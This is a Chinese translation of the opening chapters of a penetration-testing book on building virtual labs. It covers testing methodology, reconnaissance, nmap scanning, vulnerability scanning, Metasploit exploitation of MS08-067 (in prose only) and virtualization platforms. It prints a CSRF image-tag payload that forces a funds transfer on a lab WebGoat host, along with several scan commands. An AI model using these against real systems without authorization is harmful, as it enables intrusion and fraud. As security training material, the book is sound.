为高级渗透测试构建虚拟渗透实验室(全)

为高级渗透测试构建虚拟渗透实验室(全)

原文:annas-archive.org/md5/5AF1EAA721331A5C7E465DF911DFDC6C

译者:飞龙

协议:CC BY-NC-SA 4.0

前言

本书将为您提供一个系统化的流程,用于构建虚拟环境进行渗透测试。在整本书中,将创建网络架构,允许对几乎任何生产环境进行测试。

本书涵盖内容

第一章,“介绍渗透测试”,介绍了什么是渗透测试以及渗透测试是专业安全测试的一个组成部分的解释,它是对漏洞的验证。这意味着“利用”,在大多数情况下,在合同渗透测试中,客户对此并不清楚。

第二章,“选择虚拟环境”,讨论了可以选择的不同虚拟环境平台。我们还将介绍大多数主要的虚拟技术平台。

第三章,“规划一个范围”,解释了规划测试环境所需的内容。我们还讨论了搜索和发现漏洞进行测试以及创建实验室环境来测试某种漏洞的过程。

第四章,“识别范围架构”,定义了范围的组成以及创建网络结构的过程。随后介绍了许多不同的组件,然后将其连接到结构中。

第五章,“确定方法论”,探讨了一组测试方法论的样本。将介绍这个样本集的格式和步骤,以便作为测试人员,您可以进行比较并调整方法论。

第六章,“创建外部攻击架构”,构建了一个分层架构,并执行了一个系统化的流程和方法来进行外部测试。此外,您还将学习如何部署保护措施,并进行测试以查看保护措施的有效性。

第七章,“设备评估”,介绍了测试设备的挑战。本节包括测试弱过滤的技术以及在可能的情况下渗透各种防御的方法。

第八章,“设计 IDS/IPS 范围”,调查了部署 Snort IDS 和一些基于主机的安全保护。部署后,将探讨一些规避技术以规避 IDS。

第九章,“Web 服务器和 Web 应用程序评估”,探讨了 Web 服务器和应用程序的安装。您将遵循一个测试策略来评估服务器及其应用程序。

第十章,“测试平面和内部网络”,探讨了测试平面和内部网络的过程。探讨了漏洞扫描器的使用以及使用或不使用凭据进行扫描的比较。

第十一章,“攻击服务器”,确定了我们用来攻击服务和服务器的方法。我们将看到的最常见的攻击向量是运行在 Web 服务器上的 Web 应用程序。

第十二章,“探索客户端攻击向量”,介绍了针对网络的主要攻击向量,即来自客户端。您将探索可以用来诱使客户端访问恶意网站的方法。

第十三章, 构建完整的网络安全范围,是您将所有概念整合在一起并创建用于测试的范围的地方。在整个章节中,您将部署诱饵并针对它们进行实践。

您需要为本书准备什么

本书中的示例主要使用 VMWare Workstation 和 Kali Linux。这是所需的最低要求。还介绍了其他软件,并提供了获取软件的参考资料。

这本书适合谁

这本书适用于任何正在从事或希望从事专业安全测试人员工作的人。该书教授了构建虚拟实验室环境的基础和系统化过程,允许对您在渗透测试中可能遇到的任何环境进行虚拟测试。

约定

在本书中,您会发现一些文本样式,用于区分不同类型的信息。以下是一些这些样式的示例,以及它们含义的解释。

文本中的代码词、数据库表名、文件夹名、文件名、文件扩展名、路径名、虚拟 URL、用户输入和 Twitter 句柄显示如下:"在 metasploitable 虚拟机中,输入sudo route add default gw 10.3.0.10以将路由添加到表中。"

代码块设置如下:

<IMG SRC="http://10.2.0.132/WebGoat/attack?Screen=52&menu=900&transferFunds=4000"width="1" height="1"/>

任何命令行输入或输出都以以下形式编写:

ip access-group External in

新术语重要单词以粗体显示。您在屏幕上看到的单词,例如菜单或对话框中的单词,会以这样的形式出现在文本中:"转到 Serversniff 页面,然后导航到IP 工具 | TCP Traceroute。"

注意

警告或重要说明会出现在这样的框中。

提示

提示和技巧会以这样的形式出现。

第一章:渗透测试简介

在本章中,我们将讨论渗透测试在专业安全测试框架中的作用。我们将讨论以下主题:

  • 定义安全测试

  • 一个抽象的安全测试方法论

  • 关于渗透测试的神话和误解

如果您已经进行了一段时间的渗透测试,并且对专业安全测试的方法和概念非常熟悉,您可以跳过本章,或者只是粗略地看一下,但您可能会学到一些新东西,或者至少对渗透测试有不同的看法。我们将在本章建立一些基本概念。

安全测试

如果您询问 10 位顾问今天如何定义安全测试,您很可能会得到各种回答。如果我们参考维基百科,他们的定义是:

“安全测试是一个确定信息系统是否按预期保护和维护功能的过程。”

在我看来,这是渗透测试中最重要的方面。安全是一个过程,而不是一个产品。我还想补充一点,它是一种方法论,而不是一个产品。

我们讨论的另一个组成部分是,安全测试考虑了安全模型的主要领域;以下是一个示例:

  • 认证

  • 授权

  • 保密性

  • 完整性

  • 可用性

  • 不可否认

在组织进行环境安全保护的过程中,每个组成部分都必须被考虑。每个领域本身都有许多子领域,在构建安全架构时也必须考虑到。重点是,当我们测试安全性时,我们必须处理这些领域中的每一个。

认证

需要注意的是,今天几乎所有的系统和/或网络都具有某种形式的认证,因此这通常是我们首先保护的领域。这可能是用户选择复杂密码或添加额外因素到认证中,比如令牌、生物特征或证书等。在今天的网络中,没有单一的认证因素被认为是安全的。

授权

授权的概念经常被忽视,因为它被假定为某些安全模型的组成部分。这是一种方法,但更倾向于在大多数测试模型中包含它。授权的概念是至关重要的,因为这是我们分配访问资源的权利和权限的方式,我们希望确保其安全性。授权允许我们在系统中存在不同类型的用户,并具有不同的特权级别。

保密性

保密性的概念是我们希望在计算机或网络上受到保护的东西是安全的,不会有被破坏的风险。由于今天运行互联网的协议(TCP/IP)是在 20 世纪 70 年代初开发的,这使得保密性变得更加困难。那时,互联网只在少数计算机上使用,现在互联网已经发展到今天的规模,而我们仍在使用那些早期的协议,这使得保密性变得更加困难。

需要注意的是,当开发人员创建协议时,网络规模很小,并且与潜在通信对象存在固有的信任感。这种信任感是我们今天从安全角度继续对抗的。从早期的创造中得出的概念是,当数据来自可靠来源时,你可以信任数据。我们知道现在互联网规模很大。然而,情况绝对不是这样。

完整性

完整性类似于保密性。在这里,我们关心的是信息的泄霎以及数据的准确性,以及它在传输过程中或从其原始形式中未被修改。一个常见的做法是使用哈希算法来验证文件是否未被篡改。

可用性

最难保护的之一是可用性,即在需要时拥有服务的权利。关于“可用性”的讽刺之处在于,当特定资源对一个用户可用时,它对所有用户都可用。从一个诚实/合法用户的角度来看,一切似乎都很完美;然而,并非所有用户都是诚实/合法的,因为资源是有限的,它们可能会被淹没或耗尽。因此,保护这一领域更加困难。

不可否认性

不可否认性声明声称发送者不能否认发送某物;因此,这是我通常遇到最困难的问题。我们知道计算机系统可以被/已经被多次篡改,欺骗的艺术也不是一个新概念。有了这些事实,声称“我们可以保证特定人员从特定计算机发送的传输的来源”并不完全准确。

由于我们不知道机器的状态,机器是否安全且未被篡改,这可能是一个准确的说法。然而,在今天的网络中提出这种说法将是一件非常困难的事情。

只需要一个被篡改的机器,那么“你可以保证发送者”的理论就不成立了。我们不会在这里详细介绍安全测试的每个组件,因为这超出了我们试图实现的范围。我们想在这一部分传达的观点是,安全测试是查看安全的每个组件并通过确定组织从中获得的风险量来解决它们的概念。

抽象测试方法

如前所述,当我们进行安全测试时,我们专注于一个过程并将其应用于我们的安全组件。为此,我们在这里描述了一个抽象的方法。我们将在第四章中详细介绍一些方法和它们的组件,确定范围架构,在那里我们将通过探索可用的测试参考来确定一种方法。

我们将定义我们的测试方法,包括以下步骤:

  • 规划

  • 非侵入式目标搜索

  • 侵入式目标搜索

  • 数据分析

  • 报告

规划

这是专业测试的关键步骤,但不幸的是,这是很少被给予足够时间的步骤之一。有很多原因导致这种情况,然而,最常见的原因是预算。客户不愿意花很多时间让顾问规划他们的测试。事实上,由于这个原因,规划通常在合同中只占很小的一部分时间。另一个重要的规划注意事项是,潜在的对手会花很多时间在这上面。有两件事是测试人员应该告诉客户的,那就是有两件事是专业测试人员做不到的,而攻击者可以做到的,它们分别是:

  • 六到九个月的规划

  • 违法

我可能会违法,然后被监禁,但这不是我感兴趣的事情,因此我不会这样做。此外,作为一名持证黑客和持牌渗透测试人员,你必须遵守道德誓言,我不确定,但我相信在测试时违法是违反这个道德准则的。

非侵入式目标搜索

非侵入式目标搜索有许多名字。其中一些是开源情报、公共信息搜索和网络情报。无论你使用什么名字,它们都归结为同一件事,即使用公共资源来提取有关你正在研究的目标或公司的信息。有大量的工具可用于此。我们将简要讨论以下工具,以了解概念,那些不熟悉它们的人可以自行尝试:

  • NsLookup:

NsLookup 工具在我们遇到的大多数操作系统中都作为标准程序存在。这是一种查询 DNS 服务器以确定有关潜在目标信息的方法。它非常简单易用,并提供大量信息。在您的计算机上打开一个命令提示符窗口,输入nslookup www.packt.net。这将导致类似于下面屏幕截图所示的输出:

非侵入式目标搜索

你可以在上面的屏幕截图中看到我们的命令的响应是www.packt.net域的 DNS 服务器的 IP 地址。你还可以看到他们的 DNS 配置了 IPv6 地址。如果我们正在测试这个站点,我们会进一步探索这一点。或者,我们也可以使用另一个名为dig的出色的 DNS 查找工具。现在,我们将把它留下,转到下一个资源。

  • Serversniff:

www.serversniff.net网站有许多工具,我们可以用来收集关于潜在目标的信息。有关IP加密域名服务器Web 服务器等工具。该站点的主页示例如下所示:

非侵入式目标搜索

有许多工具我们可以展示,但我们只想简要介绍我们安全测试的每个领域的工具。打开一个命令提示符窗口,输入tracert www.microsoft.com。如果你使用的是 Microsoft Windows 操作系统,你会发现命令失败,如下面的屏幕截图所示:

非侵入式目标搜索

阅读本书的大多数人可能知道为什么会被阻止,对于那些不知道的人,这是因为 Microsoft 已经阻止了 ICMP 协议,这是tracert命令默认使用的协议。很容易绕过这个问题,因为服务器正在运行服务,我们可以使用特定的协议来到达它,而在这种情况下,该协议是 TCP。转到 Serversniff 页面,导航到IP 工具 | TCP Traceroute。然后,在IP 地址主机名框字段中输入www.microsoft.com并进行 traceroute。你会看到现在它会成功,如下面的屏幕截图所示:

非侵入式目标搜索

这个网站证明了互联网上的任何东西都不会消失!有许多评估中,客户会告诉团队他们正在测试一个尚未投入生产的 Web 服务器,当他们被告知该站点已经被复制和存储时,他们会惊讶地知道这实际上是发生了的。我喜欢使用该站点下载一些我喜欢的演示文稿、工具等,这些东西已经从一个站点上删除,有时甚至该站点已经不存在了。例如,用于向学生展示隐写术概念的工具之一是Infostego。这个工具是由 Antiy Labs 发布的,它为学生提供了一个易于使用的工具来理解这些概念。如果你去他们的网站www.antiy.net,你会发现根本没有提到这个工具。事实上,在他们的任何页面中都找不到它。他们现在更专注于防病毒市场。他们网站的一部分如下图所示:

非侵入式目标搜索

现在让我们利用Way Back Machine的力量来找到我们的软件。打开你选择的浏览器,输入www.archive.org。Way Back Machine 就托管在这里,这个站点的一个示例可以在下面的截图中看到:

非侵入式目标搜索

如所示,在撰写本书时,有 3660 亿个页面被归档。在 URL 部分输入www.antiy.net,然后点击浏览历史。这将导致该站点搜索其存档以查找输入的 URL,几秒钟后,搜索结果将显示出来。下面的截图显示了一个示例:

非侵入式目标搜索

我们知道我们不想访问最近归档的页面,所以为了安全起见,点击2008。这将导致显示日历,显示站点在2008年归档的所有日期。你可以选择任何一个你想要的。下面的截图显示了从 12 月 18 日归档的站点的示例。你可以看到Infostego工具是可用的,你甚至可以下载它!如果你愿意,可以随意下载并尝试使用这个工具。

非侵入式目标搜索

  • Shodanhq:

Shodan 站点是我们可以使用的最强大的云扫描仪之一。你需要在该站点注册才能执行更高级的查询。强烈建议你在该站点注册,因为扫描仪的功能和你可以发现的信息相当令人印象深刻,特别是在注册后。登录后呈现的页面如下截图所示:

非侵入式目标搜索

前面的截图显示了最近共享的搜索查询,以及已登录用户进行的最近搜索。如果你正在进行专业安全测试,这是另一个你应该深入探索的工具。现在,我们将看一个例子,然后继续,因为我们可以写一本完整的书来介绍这个工具。如果你以注册用户身份登录,你可以在搜索查询窗口中输入iphone ru。这将返回包含 iPhone 的页面,大部分在俄罗斯,但像任何工具一样,也会在其他站点上有一些命中。下面的截图显示了这次搜索的结果示例:

非侵入式目标搜索

这次搜索的结果示例如下

侵入式目标搜索

侵入式目标搜索是开始真正的黑客活动的步骤。这是当你探测和探索目标网络的时候;因此,请确保你有明确书面的许可来进行这项活动。未经许可进行侵入式目标搜索是不允许的,因为这份书面授权是区分你和恶意黑客的唯一因素。没有它,你会被视为犯罪分子。

在这一步中,有一些组成部分进一步定义了方法论,如下所示:

  • 查找活跃系统:

无论我们的技能有多好,我们都需要找到可以攻击的系统。这可以通过探测网络并寻找响应来实现。其中一个最流行的工具是由 Fyodor 编写的优秀的开源工具 nmap。你可以从www.nmap.org下载 nmap,或者你可以使用任何数量的工具包分发工具。我们将使用出色的渗透测试框架 Kali Linux。你可以从www.kali.org下载这个发行版。

无论你使用哪个版本的 nmap,它们的命令语法都是相似的,如果不是完全相同的。在终端或命令提示符窗口(如果你在 Windows OS 上运行它)中,输入 nmap –sP <插入网络 IP 地址>。我们正在扫描的网络是 192.168.177.0/24 网络;你的可能会不同。这个 ping 扫描命令的示例显示在以下截图中:

侵入式目标搜索

我们现在有了网络上的实时系统,可以进一步调查。

  • 发现开放端口:

与我们有实时系统的情况类似,我们接下来想看看这些机器上有什么开放。端口的一个很好的类比是门,也就是说,如果门是开着的,那么我可以走向这扇开着的门。一旦我到达门口,可能还有一些事情要做才能进入,但如果门是开着的,那么我知道可以进入,如果门是关着的,那么我知道我不能通过那扇门。端口也是一样的;如果它们关闭了,那么我们就不能通过那个门进入那台机器。我们有很多种方法来检查是否有任何开放的端口,我们将继续使用相同的主题并使用 nmap。我们已经确定了一些机器,所以不必像之前那样扫描整个网络。我们只扫描当前正在使用的机器。

另外,我们找到的其中一台机器是我们自己的机器;因此,我们不会扫描自己,虽然我们可以,但这不是最好的计划。我们网络上活跃的目标是 1、2 和 254。我们可以通过输入 nmap –sS 192.168.177.1,2,254 来扫描这些目标。对于那些想了解更多不同类型扫描的人,可以参考nmap.org/book/man-port-scanning-techniques.html。或者,你可以使用 nmap –h 选项来显示选项列表。扫描结果的第一部分显示在以下截图中:

侵入式目标搜索

  • 发现服务:

我们现在有了在机器上运行的实时系统和开放端口。下一步是确定我们发现的这些端口上运行的是什么。必须确定机器上正在运行什么,以便在我们深入方法论时使用它。我们再次转向 nmap。在大多数命令和终端窗口中,都有历史记录可用。希望你也是这样,你可以用键盘的箭头键访问它。对于我们的网络,我们将输入 nmap –sV 192.168.177.1。根据我们之前的扫描,我们确定其他机器已关闭了所有扫描的端口;为了节省时间,我们将不再对它们进行扫描。这种扫描的示例可以在以下截图中看到:

侵入式目标搜索

这种扫描的示例可以看到

从结果中,你现在可以看到我们对目标上开放的端口有更多的信息。我们可以使用这些信息来使用我们之前介绍的一些工具在互联网上搜索,或者我们可以让一个工具为我们做这件事。

  • 枚举:

这是提取有关潜在目标的更多信息的过程,包括操作系统、用户名、机器名称和其他我们可以发现的细节。nmap 的最新版本有一个脚本引擎,将尝试发现许多细节,并实际上对系统进行枚举。要使用 nmap 进行枚举,我们使用 –A 选项。在命令提示符中输入 nmap –A 192.168.177.1。提醒一下,如果你的目标地址与我们的不同,你将不得不输入你的目标地址。此外,这个扫描将需要一些时间来完成,并会在网络上产生大量的流量。如果你想要更新,你可以随时按空格键来获得更新。这个命令的输出非常广泛,所以以下截图显示了一个缩短版本:

侵入式目标搜索

正如截图所示,你对目标有大量的信息,并且已经准备好开始测试的下一个阶段。此外,我们已经正确识别了操作系统;在这一步之前我们还没有。

  • 识别漏洞:

在我们完成了到这一点的步骤之后,我们获得了有关机器上正在运行的软件的服务和版本的信息。我们可以针对每个版本搜索互联网上的漏洞,或者我们可以使用工具。对于我们的目的,我们将选择后者。市场上有许多漏洞扫描工具,你选择的工具在很大程度上取决于个人偏好。商业工具大多具有比免费和开源工具更多的信息,因此你需要进行实验,看看你更喜欢哪一个。

我们将使用 Rapid7 的 Nexpose 漏洞扫描工具。他们的工具有一个社区版本,只能扫描有限数量的目标,但是值得一试。你可以从www.rapid7.com下载 Nexpose。一旦你下载了它,你就必须注册并通过电子邮件接收一个密钥来激活它。我们将略过这些细节,让你自己去体验。Nexpose 有一个 Web 界面,所以一旦你安装并启动了工具,你就必须访问它。你可以通过输入https://localhost:3780来访问它。它似乎需要很长时间来初始化,但最终,它会呈现给你一个登录页面,如下截图所示:

侵入式目标搜索

登录所需的凭证应该在安装过程中创建。设置扫描是相当复杂的,因为我们只是详细介绍了这个过程,并且有一个很好的快速入门指南,所以我们将直接转到扫描的结果。随着书的进展,我们将有足够的时间来探索这个领域。典型扫描的结果如下截图所示:

侵入式目标搜索

典型扫描的结果如下所示

正如你所看到的,目标机器的情况很糟糕。Nexpose 的一个好处是,由于他们也拥有 metasploit;他们将列出在 metasploit 中已知的漏洞。

  • 利用:

这是安全测试中备受关注的一步,简单来说,这是验证发现的漏洞的过程。需要注意的是,这并不是一个完全成功的过程,有些漏洞没有利用,有些漏洞只有针对某个补丁级别的操作系统才有利用。正如我们所说,这不是一门精确的科学,在现实中,这只是专业安全测试的一个非常小的部分,但它很有趣,所以我们将简要地看一下这个过程。我们在安全测试中还喜欢说,我们必须验证和核实工具向你报告的一切,这就是我们在利用中尝试做的。关键是你在客户的机器上执行了一段代码,这段代码可能会造成损害。最受欢迎的免费利用工具是 metasploit,现在由 Rapid7 拥有。关于这个工具有整整一本书的内容,所以我们只会展示运行工具和利用机器的结果。

可用的选项如下截图所示:

侵入式目标搜索

选项中有相当多的信息,但我们需要涵盖的选项是因为我们正在利用漏洞 MS08-067,这是服务器服务中的一个漏洞。这是一个很好的选项,因为它几乎总是有效的,你可以一次又一次地利用它。如果你想了解更多关于这个漏洞的信息,你可以在technet.microsoft.com/en-us/security/bulletin/ms08-067上查看。选项设置好后,我们准备尝试利用漏洞,如下一张截图所示,我们成功地在目标机器上获得了一个 shell:

侵入式目标搜索

数据分析

数据分析经常被忽视,可能是一个耗时的过程。这是需要最多时间来开发的过程。大多数测试人员可以运行工具,进行手动测试和利用,但真正的挑战在于将所有结果进行分析。我们将在下一张截图中看一个例子。花点时间来审查 Wireskark 工具的协议分析捕获。作为分析师,你需要知道协议分析器正在向你展示什么。你知道到底发生了什么吗?不用担心,截图后我们会告诉你。花一分钟时间,看看你能否确定工具报告的是下一张截图中显示的数据包:

数据分析

看看你能否确定工具报告的是显示的数据包

从前面的截图中,我们观察到 IP 地址为192.168.3.10的机器回复了一个类型为 3,代码为 13 的ICMP数据包。换句话说,数据包被拒绝是因为通信被行政过滤;此外,这告诉我们有一个路由器,并且它有一个阻止数据包的访问控制列表ACL)。此外,这告诉我们管理员没有遵循最佳实践来吸收数据包,并且没有回复任何错误消息,因为那可能会帮助攻击者。这只是数据分析步骤的一个小例子;你将遇到许多事情,还有更多需要分析以确定在测试环境中发生了什么。记住,管理员越聪明,渗透测试就会变得更具挑战性。这对安全性来说实际上是一件好事!

报告

这是培训课程中经常被忽视的另一个测试领域。这是不幸的,因为这是你需要掌握的最重要的事情之一。你必须能够向客户呈现你的发现报告。这些发现将帮助他们改善他们的安全状况,如果他们喜欢这份报告,这通常是他们与合作伙伴和其他同事分享的内容。这是你与其他人的区别的广告。它展示了你不仅知道如何遵循专业测试的系统化过程和方法论,还知道如何将其转化为可以作为客户参考的输出形式。

最终,作为专业的安全测试人员,我们希望帮助客户改善他们的安全状况,这就是报告的作用。有许多关于报告的参考资料,所以我们在这里要涵盖的是发现的处理。在处理发现时,我们使用了两个组件;第一个是以表格形式提供发现摘要,以便客户可以在报告的早期参考发现。第二个是详细的发现部分。这是我们放置有关发现的所有信息的地方。我们根据严重程度对其进行评级,并包括以下数据:

  • 描述:这是我们提供漏洞描述的地方,具体描述了漏洞是什么以及受到了什么影响。

  • 分析/暴露:对于这一部分,您希望向客户展示您已经进行了研究,而不仅仅是重复扫描工具告诉您的内容。非常重要的是,您要研究多种资源,并对漏洞是什么以及对客户站点构成的威胁进行良好的分析和解释。

  • 建议:我们希望为客户提供一个可以帮助减轻这种漏洞风险的补丁的参考。我们从不告诉客户使用它。我们不知道他们的政策是什么,这可能是他们必须要支持他们的业务。在这些情况下,作为顾问,我们的工作是推荐并帮助客户确定减轻风险或消除风险的最佳方式。当补丁不可用时,我们提供潜在的解决方法的参考。

  • 参考资料:如果有微软公告编号、CVE 编号等参考资料,那么这就是我们放置它的地方。

渗透测试的神话和误解

在进行了二十多年的专业安全测试后,我发现很多人对渗透测试是什么感到困惑,这真是令人惊讶。我曾多次参加会议,客户坚信他们想要进行渗透测试。然而,当我准确解释了渗透测试是什么时,他们都震惊地看着我。那么,渗透测试到底是什么呢?还记得我们的抽象方法论中有一个侵入式目标搜索的步骤,而这一步骤的一部分是扫描的另一个方法论吗?嗯,扫描方法论的最后一项,也就是利用,就是渗透测试的标志性步骤。这一步就是漏洞验证,这就是渗透测试的定义。再次强调,这并不是大多数客户在引入团队时所想的。实际上,他们大多数想要的是漏洞评估。当您开始向他们解释您将在他们的系统和/或网络上运行一些利用代码和所有这些非常酷的东西时,他们通常会感到惊讶。大多数情况下,客户会要求您停在验证步骤。在某些情况下,他们会要求您证明您所发现的内容,然后您可能会展示验证。我曾经在一个外国国家的股票市场 IT 部门的会议上,当我解释我们将要进行的漏洞验证时,IT 主管的反应是“那是我的股票经纪人记录,如果我们丢失了它们,我们将损失很多钱!”。因此,我们没有在那次测试中执行验证步骤。

总结

在本章中,我们已经定义了安全测试与本书的关系,并确定了一个包括以下步骤的抽象方法论:规划、非侵入式目标搜索、侵入式目标搜索、数据分析和报告。更重要的是,当涉及到侵入式目标搜索时,我们扩展了抽象模型,并在其中定义了一种扫描方法论。这包括识别活动系统、查看开放端口、恢复服务、枚举、识别漏洞,最后是利用。

此外,我们讨论了渗透测试是什么,以及它是漏洞验证的一部分,并且在我们的扫描方法论中有一个步骤来识别它。不幸的是,大多数客户并不理解,当您验证漏洞时,需要运行可能会损坏机器甚至更糟的数据的代码。由于这个原因,大多数客户要求不要参与测试。在本章中,我们已经为渗透测试创建了一个基准,并将在本书中使用这个定义。在下一章中,我们将讨论选择虚拟环境的过程。

第二章:选择虚拟环境

在本章中,我们将讨论可供选择的不同虚拟环境平台。我们将研究大多数主要的虚拟技术平台。我们将讨论以下主题:

  • 商业环境

  • 图像转换

  • 从物理环境转换为虚拟环境

我们必须做的最具挑战性的事情之一是决定我们想要使用的虚拟化软件。我们不仅需要决定我们选择的软件要做什么,还需要决定我们是否要构建一个专用的虚拟平台,还是在现有系统上运行软件。在本书中,我们将专注于在现有系统上创建虚拟环境。然而,至少简要讨论创建裸金属环境的选项仍然很重要。

当我们安装裸金属环境(也称为虚拟环境的类型 1 安装)时,操作系统由产品以 Hypervisor 的形式提供。虽然这是创建强大和复杂架构的一种极其有用的方式,但它需要专用硬件,并且因此大部分时间我们无法随身携带。如果您在实验室环境中构建实验室,那么您绝对应该探索这一点,因为您在创建机器时拥有的功能和选项。

以下屏幕截图显示了类型 1 裸金属架构的示例:

选择虚拟环境

如前面的屏幕截图所示,在类型 1 或裸金属架构中,Hypervisor 安装在系统硬件中,并且虚拟化资源由 Hypervisor 提供。当您使用虚拟裸金属解决方案时,可以配置大量选项,包括资源分配。

类型 1 虚拟化在构建渗透测试实验室时提供了一个强大而极其有用的解决方案。然而,使其具有挑战性的一件事是操作系统已经由硬件中已安装的 Hypervisor 提供,这可能会对某些硬件版本造成挑战;此外,这种类型的解决方案大部分时间最好在台式机或服务器类型的机器上实施。虽然它可以在笔记本电脑上实施,但在其他平台上更常见。一个潜在的选择是创建您的实验室环境,然后远程访问它。从虚拟化的角度来看,它不会影响我们创建的机器;无论是类型 1 还是类型 2 都可以。在本书中,我们将使用类型 2 虚拟化。以下屏幕截图显示了类型 2 虚拟化的示例:

选择虚拟环境

如图所示,在类型 2 虚拟化中,Hypervisor 运行在操作系统上,操作系统运行在系统硬件上。在本书的进展中,这是我们将使用的架构。现在,我们将研究类型 1 和类型 2 的解决方案。从第三章开始,规划一个范围,我们将专注于类型 2 解决方案。

开源和免费环境

有许多免费和开源的虚拟环境;我们将在这里看一些更受欢迎的。在本节中,我们将讨论以下产品:

  • VMware Player

  • VirtualBox

  • Xen

  • Hyper-V

  • vSphere Hypervisor

VMware Player

VMware 团队创建了许多不同的免费产品。在撰写本书时,VMware Player 仍然可以免费使用,但不幸的是,只有家庭用户可以使用。过去的最大限制之一是您无法使用 VMware Player 构建和创建虚拟机。幸运的是,最新版本允许您创建虚拟机。当前版本的限制在网络部分;这是因为您无法使用 VMware Player 工具创建其他交换机。对于我们构建虚拟渗透测试实验室的目的,这是我们真正需要的东西,如果您决定使用它,那么您只能将 VMware Player 用于基本网络架构。它是免费的,这就是为什么我们要介绍它。您要做的第一件事是下载它。您可以从my.vmware.com/web/vmware/free#desktop_end_user_computing/vmware_player/6_0下载它。下载后,您将需要通过注册网站来获取许可证密钥。一旦您获得密钥,您可以在安装期间或以后输入它,它将使您能够使用该工具。作为参考,用户指南是一个很好的来源,互联网上也有几个教程。再次强调,它在提供给我们的东西方面有限,但一个可行的解决方案是使用它来测试您构建的机器以及其他机器,而无需购买软件的另一个许可证。

VirtualBox

Oracle VirtualBox 是一个非常强大的工具,是在选择虚拟化解决方案时最受欢迎的工具之一。它如此强大且免费,使其成为一个很好的选择。该工具在各种平台上表现良好,并提供桌面和企业级功能。撰写本书时的当前版本是 4.3.2;您可以从www.virtualbox.org/wiki/Downloads下载它。有适用于 Windows、Mac、Linux 和 Solaris 的版本。关于 VirtualBox 3 版本的评论报告了一些问题,但自从 4 版本推出以来,就没有关于先前版本的问题的报告了。

由于它如此受欢迎且是一个可行的选择,我们将使用该工具创建虚拟机。如果您以前没有使用过 VirtualBox,则用户指南也非常有用。您可以从www.virtualbox.org/wiki/Documentation下载它。

安装软件后,程序将自动启动,并且您应该看到类似于以下截图的屏幕:

VirtualBox

我们需要一个 ISO 镜像来用于我们的虚拟机。为此,我们将使用优秀的工具 Samurai Web 测试框架(WTF)。这是一个网络应用测试框架,是一个预先配置为 Web 渗透测试框架的 Linux 实时环境。CD 包含一些最好的开源和免费工具,用于测试和攻击网站。您可以从www.samurai-wtf.org/下载 ISO 镜像。

要开始创建虚拟机,请单击“新建”以开始该过程。在打开以创建虚拟机的窗口中,在名称字段中输入Samurai,并选择 Linux 作为操作系统。然后,选择所需的版本,然后单击“下一步”。

在接下来弹出的窗口中,您将为虚拟机选择 RAM;您可以将设置保留在默认的 256 MB,也可以将其更改为最适合您的其他值。此窗口的示例如下截图所示:

VirtualBox

我们接下来要做的事情是为我们的虚拟机创建一个硬盘,但出于我们的目的,我们不打算使用硬盘;因此,我们将选择不添加虚拟硬盘设置,并单击创建。您将收到有关创建没有硬盘的虚拟机的警告,但这没关系,因为这正是我们要做的。因此,请阅读警告并单击继续

恭喜!如果一切顺利,你刚刚在 VirtualBox 中创建了一个虚拟机。现在你应该看到一个窗口显示你创建的虚拟机,它看起来类似于以下的截图:

VirtualBox

现在我们准备启动我们的虚拟机!单击启动设置并启动虚拟机。这时会收到一条消息,告诉你需要选择一个光盘映像进行引导,这就是我们下载的映像派上用场的地方。所以,我们现在就来做这个。在提示符下,导航到您下载的 ISO 映像并启动 Samurai-WTF 虚拟机。这就是使用 VirtualBox 的过程,我们将不再继续下去。欢迎你自己进行实验和练习。需要注意的一点是,有时候,对于某些机器,VirtualBox 软件可能会在键盘和输入方面出现困难。如果发生这种情况,建议您加载可以在www.virtualbox.org/wiki/Downloads找到的扩展。这也是为什么 VirtualBox 不是本书选择的软件的原因之一。

Xen

众所周知,i386 市场多年来一直被 VMware 提供的解决方案所主导,但随着时间的推移,市场上有很多解决方案不断增加其追随者的规模。这就是 Xen 的用武之地。它已经变得很受欢迎,并且随着人们对它的了解和产品的不断改进,它的受欢迎程度还在不断增加。如果你是 Xen 的新手,你可能会问这个问题:Xen 是什么?这是一个很好的问题,详细解释超出了本书的范围。有很多关于 Xen 的专著,所以我们只会在这里介绍基础知识。Xen 起源于英国剑桥大学。从那时起,Xen 游戏中有很多参与者,这增加了工具的功能和能力,进而增加了它的受欢迎程度。

一旦 Xen 项目起步,就像 IT 世界典型的情况一样,创始人成立了自己的公司,名为 XenSource,然后这家公司被 Citrix 收购。Citrix 扩展了这个项目,并将其作为与 VMware ESX 类似的解决方案提供。此外,其他供应商也将 Xen 纳入其产品供应商,如 Red Hat 和 Novell。

有关最新信息或下载 Xen,请参阅网站www.citrix.com。要获得非常好的教程,即在 SUSE Linux 机器上设置 Xen 的逐步指南,您可以参考网址searchservervirtualization.techtarget.com/tip/Xen-and-virtualization-Preparing-SUSE-Linux-Enterprise-Server-10-for-virtualization。请注意,阅读该文档需要免费注册,即提供您的电子邮件地址。这是值得的,因为他们会在新文章发布时发送链接,因此它成为一个不错的快速参考,以保持更新。

注意

我在大学本科时有一位教授给了我一些建议,我至今仍然遵循并推荐其他人也这样做:每天花一个小时阅读与 IT 行业相关的内容或做与之相关的事情。那些正在阅读本书的人可能知道 IT 行业处于不断变化的状态,数据是易逝的,因此我们必须做一些事情来保持其新鲜。对我来说,每天一个小时已经成为我生活的一部分超过 25 年,并帮助我保持更新。

最后,当我们结束这一部分关于 Xen 的内容时,我们构建复杂环境所需的一个功能是能够将一个格式转换为另一个格式。这是我们稍后将在本章中介绍的内容,但对于 Xen,我们将与您分享一个参考资料,详细解释了如何将 Xen 虚拟机转换为 Hyper-V 格式。您可以在technet.microsoft.com/en-us/library/hh427283.aspx找到这些信息。您会注意到这个参考资料来自微软,您还会注意到这仅适用于特定版本的 Microsoft System Centre 软件,但知道这是可能的是很好的。因此,如果您曾经发现或拥有一个 Xen 虚拟机,并希望将其转换为 Hyper-V 以供使用,这是可能的。

Hyper-V

这是微软的虚拟化工具,是他们虚拟 PC 产品的延续。虽然在虚拟化领域仍然相对较新,但微软正在迅速赶上。我发现他们的工具中一个缺乏的领域是与 Linux 和 Unix 上的桌面界面的网络和集成。一旦他们解决了这些问题,他们将成为您在进行渗透测试实验室时选择虚拟环境的严肃考虑对象。最初,Hyper-V 仅作为微软服务器产品的一部分提供,从 Windows Server 2008 开始,目前是 Windows Server 2012。

现在,有安装 Windows 8 的能力。微软做出这个决定是基于这样一个事实,即该工具在他们软件的服务器版本上如此受欢迎,他们希望扩展它,为客户在虚拟化方面提供更多选择。

